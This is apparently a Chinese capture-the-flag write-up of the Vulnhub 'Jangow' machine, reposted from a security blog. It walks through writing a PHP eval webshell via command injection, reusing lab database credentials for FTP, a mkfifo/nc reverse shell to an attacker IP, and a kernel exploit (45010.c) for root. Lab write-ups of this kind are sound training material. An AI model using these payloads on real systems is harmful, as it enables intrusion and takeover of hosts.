题目地址
环境搭建
参考这篇文章:
https://blog.csdn.net/zg_111/article/details/129810060
实战
信息收集
命令执行
echo%20"<?php @eval($_POST[cmd]);?>" > 666.php
echo"<?php @eval(123[cmd]);?>" > 666.php
然后调用命令将123替换为$_POST
即可。
sed 's/123/$_POST/g' 666.php
发现wordpress目录
<?php
$servername = "localhost";
$database = "desafio02";
$username = "desafio02";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
echo"Connected successfully";
mysqli_close($conn);
?>
发现上一级目录下存在.backup文件,应该是一个备份的文件。
$servername = "localhost";
$database = "jangow01";
$username = "jangow01";
$password = "abygurl69";
// Create connection
$conn = mysqli_connect($servername, $username, $password, $database);
// Check connection
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
echo"Connected successfully";
mysqli_close($conn);
同时他还有.bash_history,这个记录了执行过的命令,可能存在敏感信息,但是我们并没有权限查看,后面我们再来看看这个有没有用。
FTP
应该是jangow01,因为他在home目录下存在目录,而另一个账户没有。
答案也正如我们所想,当我们连接FTP时,只有jangow01成功连接上了。
get <filename>
即可拿到对应的文件,发现.bash_history好像并没有什么重要的信息。put一个文件到web目录下直接连接到哥斯拉
那现在就考虑提权了,对于提权,我们一般是交互式的shell来提权,所以我们得先想办法拿到一个反弹shell。
反弹shell
<?phpsystem("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.139.1 443 >/tmp/f");?>
权限提升
拿到反弹shell,升级一下shell成为交互式的shell。
python3 -c 'import pty;pty.spawn("/bin/bash")'
searchsploit linux 4.4.0 | grep Ubuntu
find / -name 45010.c
gcc 45010.c
总结
这是一道比较简单的题目,在这个题目中我们可以尝试去绕过写入webshell,在webshell失效的情况下通过FTP进行上传,在反弹shell失效的情况下可以通过脚本发现可以利用的端口,然后根据内核版本找到对应的溢出漏洞拿到root。
原文始发于微信公众号(ElmWhite安全小记):Vulnhub打靶-Jangow
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论